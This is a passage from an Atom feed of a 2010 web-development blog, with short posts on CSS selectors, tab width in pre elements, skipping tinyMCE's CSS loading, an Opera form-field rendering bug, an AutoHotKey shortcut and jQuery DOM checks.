and reinstall it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>How to select the first element of a given class</title>
    <link href="https://blog.pixelastic.com/2010/04/20/how-to-select-the-first-element-of-a-given-class/"/>
    <updated>2010-04-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/20/how-to-select-the-first-element-of-a-given-class</id>
    <content type="html">&lt;p&gt;Imagine the following HTML code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;wrapper&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;[... various HTML elements ...]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;bar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;bar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How would one style the first &lt;code&gt;div.foo&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;I&#39;ve tried &lt;code&gt;div.wrapper div.foo:first-of-type&lt;/code&gt; but unfortunatly it does not
work. In fact the previous rule can be translated into &amp;quot;select the first child
of div.wrapper only if it is a div.foo&amp;quot; and not &amp;quot;select the first div.foo inside
div.wrapper&amp;quot; as I imagined.&lt;/p&gt;
&lt;p&gt;Using jQuery I could do a &lt;code&gt;$(&#39;div.wrapper div.foo:first&#39;)&lt;/code&gt; but there&#39;s no such
selector in CSS.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>The blockquote cite attribute</title>
    <link href="https://blog.pixelastic.com/2010/04/19/the-blockquote-cite-attribute/"/>
    <updated>2010-04-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/19/the-blockquote-cite-attribute</id>
    <content type="html">&lt;p&gt;The HTML blockquote element can accept a cite attribute that is supposed to hold
the value of the source URI of the quote.&lt;/p&gt;
&lt;p&gt;Browsers behave differently when getting this attribute in javascript. Opera and
Firefox automatically treat it as a URL, prepending the current domain host if
none is defined and encoding special characters.&lt;/p&gt;
&lt;p&gt;Safari and Chrome on the other end just return the value as it is present in the
HTML.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Setting the size of a tab character in a pre element</title>
    <link href="https://blog.pixelastic.com/2010/04/19/setting-the-size-of-a-tab-character-in-a-element/"/>
    <updated>2010-04-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/19/setting-the-size-of-a-tab-character-in-a-element</id>
    <content type="html">&lt;p&gt;When displaying code in an HTML page, you often want it to be correctly indented
with tabs. Unfortunatly, setting a &lt;code&gt;white-space:pre&lt;/code&gt;(like is the default on a&lt;/p&gt;
&lt;pre&gt; element) to an element will transform any tab in the equivalent of 8 space
characters.

8 is way more than needed, 4 will be much suited, specially in a website design
where the horizontal space is limited.

I&#39;ve googled a lot, going from obscure old CSS drafts to proprietary
implementation mailing lists, browsing CSS codes.

One [interesting discussion can be found here](http://www.phwinfo.com/forum
/comp-inf-authoring-css/365851-change-tab-width-using-css.html), there even is a
[proposal for a tab-stops property](http://www.w3.org/People/howcome/t
/970224HTMLERB-CSS/WD-tabs-970117.html) on the W3C

Opera has a proprietary `-o-tab-size`. You just have to pass the number of space
characters that should be used.

That&#39;s all I have for now...

I know I could replace every `&#92;t` with 4 `&amp;nbsp;`, or with a `&lt;span&gt;` that I&#39;ll
style to match the desired width but it involves a back-end processing and I
would have liked to style it directly.

Edit: There seems to have a `-moz-tab-size` property on the latest Firefox 3.7
nightlies
</content>
  </entry>
  <entry>
    <title>Tweaking tinyMCE</title>
    <link href="https://blog.pixelastic.com/2010/04/13/tweaking-tinymce/"/>
    <updated>2010-04-13T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/13/tweaking-tinymce</id>
    <content type="html">&lt;p&gt;I&#39;m in the process of tweaking a tinyMCE install to use a custom set of plugins
and a custom skin to better fit in the Caracole CMS. This would allow me to
re-use CSS and JS code I&#39;ve already coded.&lt;/p&gt;
&lt;p&gt;Fortunatly, I&#39;m getting better and better at understanding the way tinyMCE works
and the various configuration options and how to tweak them.&lt;/p&gt;
&lt;p&gt;I also want the tinyMCE CSS rules to be integrated into the main CSS file of my
app (packed and minified using CSSTidy). So I defined a custom skin in the
tinyMCE setup, named &#39;&lt;code&gt;caracole&lt;/code&gt;&#39;. This way, all the CSS skinning classes will
be prefixed with &lt;code&gt;caracole&lt;/code&gt; as I don&#39;t want to mess with the default skins.&lt;/p&gt;
&lt;p&gt;I also copied the &lt;code&gt;ui.css&lt;/code&gt; file from the &lt;code&gt;themes/advanced/skins/default&lt;/code&gt; to my
own css directory, renamed it to &lt;code&gt;tinymce.css&lt;/code&gt;, replaced all &lt;code&gt;.default&lt;/code&gt;
occurences to &lt;code&gt;.caracole&lt;/code&gt; and added this file to the list of files being
processed by the main packer.&lt;/p&gt;
&lt;p&gt;This way I can easily update any css file from the same directory, without
having to dive into the tinymce subdirectories.&lt;/p&gt;
&lt;p&gt;Unfortunatly, by doing so, tinyMCE continue to load the
&lt;code&gt;tiny_mce/themes/advanced/skins/caracole/ui.css&lt;/code&gt; file (have a look at Firebug if
you don&#39;t trust me). It took me some time to figure out where that call was made
from. It is actually on &lt;code&gt;editor_template.js&lt;/code&gt; (around line 150 in dev version).&lt;/p&gt;
&lt;p&gt;As I didn&#39;t want to load this file twice, I tried to disable this call. I could
have manually patched the source file but I don&#39;t want to, it would make any
future update a pain. So I tried to find an other way.&lt;/p&gt;
&lt;p&gt;Looking at the &lt;code&gt;loadCSS&lt;/code&gt; method, it appears that there is a mechanism to prevent
loading twice the same file. If the file is already present in the &lt;code&gt;.files&lt;/code&gt;
array, it won&#39;t be added. Ok, so now I just have to manually add the file before
the call is made.&lt;/p&gt;
&lt;p&gt;That&#39;s where the setup callback come into play. I just defined in my
inyMCE.init:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;tinyMCE&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  skin: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;caracole&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  editor_css: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;caracoleDoNotInclude&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  setup&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;http://&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;document&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;domain&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/caracoleDoNotInclude&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Doing so, the &lt;code&gt;loadCSS&lt;/code&gt; will try to load the &lt;code&gt;caracoleDoNotInclude&lt;/code&gt; file
(clearly this name is a placeholder, I have no such file). And in the setup
method I manually tell tinyMCE that this file is already loaded so when it will
initiate, it won&#39;t load the file at all.&lt;/p&gt;
&lt;p&gt;Same goes for the &lt;code&gt;content_css&lt;/code&gt;, the file that handle the look and feel of the
editable zone. I don&#39;t want to have my file in the tinyMCE skin directory, I&#39;d
rather have it with my other CSS files.&lt;/p&gt;
&lt;p&gt;So I defined a custom &lt;code&gt;content_css&lt;/code&gt; to point to my file. I also had to update
the setup method to mark the file as already loaded. But this time, as the file
is loaded on a per instance basis, this is the &lt;code&gt;editor.dom.files&lt;/code&gt; that I have to
update, not the general &lt;code&gt;tinymce.DOM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Fortunatly, the latest tinyMCE version expose their event API, so it was just a
matter of defining the following event in the main setup:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;DOM&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;baseUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;caracoleDoNotInclude&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;onPreInit&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;baseUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;js/vendors/tiny_mce/themes/advanced/skins/caracole/content.css&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;   }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Edit:&lt;/h2&gt;
&lt;p&gt;Note that in the latest tinyMCE version, the code is slightly different because
you have to call a special method on the url before adding it to the
&lt;code&gt;editor.dom.files&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;onPreInit&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;baseURI&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;toAbsolute&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;http://&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;document&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;domain&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/js/vendors/tiny_mce/themes/advanced/skins/caracole/content.css&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Rendering bug with generated content on form fields in Opera</title>
    <link href="https://blog.pixelastic.com/2010/04/12/rendering-bug-with-generated-content-on-form-fields-in-opera/"/>
    <updated>2010-04-12T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/12/rendering-bug-with-generated-content-on-form-fields-in-opera</id>
    <content type="html">&lt;p&gt;If you try the following code in Opera 10.51, you&#39;ll have some weird rendering
bug:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;style&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  .test&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:after&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    content&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;This should be on red background&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    background&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;red&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;style&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; Text input: &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; type&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; value&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;I&#39;m unstyled&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The generated content is added to the page, but the background color isn&#39;t
rendered. Worse, the input lose all styling, it does not have a background color
nor borders anymore.&lt;/p&gt;
&lt;p&gt;The same effect also apply to every &lt;code&gt;input&lt;/code&gt;(&lt;code&gt;radio&lt;/code&gt;, &lt;code&gt;checkbox&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;On a &lt;code&gt;select&lt;/code&gt; tag, the generated content correctly have it&#39;s background color,
but still lose all styling.&lt;/p&gt;
&lt;p&gt;On a &lt;code&gt;textarea&lt;/code&gt;, the styling is gone too, and the background color is here.
Well, sort of, it is actually cropped after a while and the end of the text is
on transparent background.&lt;/p&gt;
&lt;p&gt;I sent a bug report to Opera about that.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Opening a new tab using Ctrl+Click on Opera</title>
    <link href="https://blog.pixelastic.com/2010/04/12/opening-a-new-tab-using-ctrl-click-on-opera/"/>
    <updated>2010-04-12T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/12/opening-a-new-tab-using-ctrl-click-on-opera</id>
    <content type="html">&lt;p&gt;One thing that bugs me everytime I use Opera are the weird keyboard shortcuts.
You open link in a new tab by using the middle mouse button (classic) or
Shift+click (less classic, we are accustomed to use the Ctrl+Click, Shift+Click
being used to open in a new window).&lt;/p&gt;
&lt;p&gt;Today it was bugging me one too many times, so I decided to use the power of
AutoHotKey to help fix this.&lt;/p&gt;
&lt;p&gt;Here is the little snippet I added to my default AutoHotKey script:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;;        Open page in new tab in Opera using Ctrl + Click&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;#ifWinActive, ahk_class OpWindow&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;^LButton::Send +{LButton}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;#IfWinActive&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It basically catch every Shift+Click in Opera and return a Ctrl+Click instead,
allowing me to finally open tabs the way I&#39;m used to.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Knowing if an element is in the DOM using jQuery</title>
    <link href="https://blog.pixelastic.com/2010/04/10/knowing-if-an-element-is-in-the-dom-using-jquery/"/>
    <updated>2010-04-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/04/10/knowing-if-an-element-is-in-the-dom-using-jquery</id>
    <content type="html">&lt;p&gt;If you ever need to know if the element you have a reference to is really in
your page (or if it is an old reference to an element you&#39;ve already replaced),
you can use the &lt;code&gt;$.contains(container, contained)&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;I was just working on an AJAX paginated list of elements and I kept references
to my &lt;code&gt;table&lt;/code&gt; in vars to avoid re-querying it each time. But this reference
where still &#39;correct&#39; (ie. not null) even after having replaced the element with
a new one (using .&lt;code&gt;replaceWith()&lt;/code&gt; and even &lt;code&gt;.empty()&lt;/code&gt; and &lt;code&gt;.remove()&lt;/code&gt;)&lt;/p&gt;
